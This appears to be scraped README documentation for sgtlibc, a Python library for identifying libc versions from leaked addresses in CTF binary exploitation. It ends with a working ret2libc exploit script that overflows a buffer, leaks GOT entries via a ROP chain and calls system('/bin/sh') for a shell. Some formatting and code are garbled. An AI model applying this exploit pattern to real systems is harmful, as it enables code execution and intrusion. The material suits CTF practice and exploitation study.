sgtlibc is a a offline python-lib for search libc function.
pip install sgtlibcusage: sgtlibc [-h] [-d [DUMP ...]] [-i [INDEX]] [-s [SYMBOLS]] [-u [UPDATE]] [-v [VERSION]] [funcs_with_addresses]
a offline python-lib for search libc function.for search version of libc.you can use like:`sgtlibc puts:aa0+read:140 --dump system binsh` or in python , like : `py:import sgtlibc;s =
sgtlibc.LibcSearcher();s.add_condition('puts',0xaa0)`
positional arguments:
funcs_with_addresses specify `func-name` and `func address` , split by `|`,eg: puts:aa0+read:140 , its means func-puts address = 0xaa0;func-read address = 0x140 (default: None).
options:
-h, --help show this help message and exit
-d [DUMP ...], --dump [DUMP ...]
select funcs to dump its info (default: ['__libc_start_main_ret', 'system', 'dup2', 'read', 'write', 'str_bin_sh']).
-i [INDEX], --index [INDEX]
db index on multi-database found occation (default: 0).
-s [SYMBOLS], --symbols [SYMBOLS]
convert libc-elf file to symbols-file,use `libc_path [alias]` to convert.
-u [UPDATE], --update [UPDATE]
update current libc database from internet , need non-microsoft-windows environment (default: False).
-v [VERSION], --version [VERSION]
show version- in cmd.exe
or/bin/sh`
sgtlibc puts:aa0
sgtlibc puts:aa0+read:140
sgtlibc puts:aa0+read:140 --dump system binsh- in
python3
import sgtlibc
s = sgtlibc.Searcher()
s.add_condition('puts', 0xaa0)
s.add_condition('read',0x140)
print(s.dump())
print(s.dump(['system','str_bin_sh']))-
main argsspecifyfunc-nameandfunc address,**SHOULD split by|**eg:
puts:aa0+read:140which means:- func-
putsaddress =0xaa0 - func-
readaddress =0x140
- func-
-
--updateis for update libc database from internet base onlibc-database, require non-microsoft-window system
- run [python code above](/#/Quick Start) , you'll get output-result like following shows:
-
run command in terminal , you'll get output-result like following shows:
- use in
pwntools
from pwn import * # should run pip install pwntools before
import sgtlibc
s = libc.Searcher()
puts_addr = 0xf71234567aa0 # from leak data
s.add_condition('puts',puts_addr)
s.dump(db_index=0) # search libc , if returns multi-result ,default use index-0's result
system_addr = p00(s.get_address(sgtlibc.s_system))
binsh_addr = p00(s.get_address(sgtlibc.s_binsh))search libc from user-directory
from sgtlibc.utils import configuration as config
def test_use_user_libc():
lib_path = './libs' # here input your libc directory
config.set(config.extension_database_path, lib_path)
s = LibcSearcher('puts', 0xf7007)
s.decided()add a libc.so file to database
sgtlibc -s ./libc.from_user.so:alias_input_hereor
from sgtlibc.main import do_symbols
do_symbols(f'./libc.from_user.so:alias_input_here')- use exploit code
import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
is_local=True, file='./babyrop2', remote='192.168.0.1:25462',
auto_load=True,
auto_show_rop=True,
auto_show_summary=True,
auto_start_game=True,
auto_load_shell_str=True,
auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
def exp():
payload_exp = [b'a' * (28 + 4),fakeebp()] # overflow position
return payload_exp
def leak(func: str):
payload = exp()
# here will auto-pack to p64, you can use p64 or p00 as same effect.
payload += [elf.rop['rdi'],elf.got[func],elf.plt['printf'],elf.symbols['main']]
sl(payload)
rl()
data = rc(6).ljust(8, b'\0')
data = uc(data)
s.add_condition(func, data)
return data
leak('printf')
leak('read')
data = s.dump(db_index=2) # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
payload = exp()
payload += [elf.rop['rdi'],binsh_addr,system_addr, fakeebp()]
sl(payload)
interactive()- result
default libc database is update on
2022-06-01,which long-time ago , we fully recommanded to update it by runsgtlibc --update
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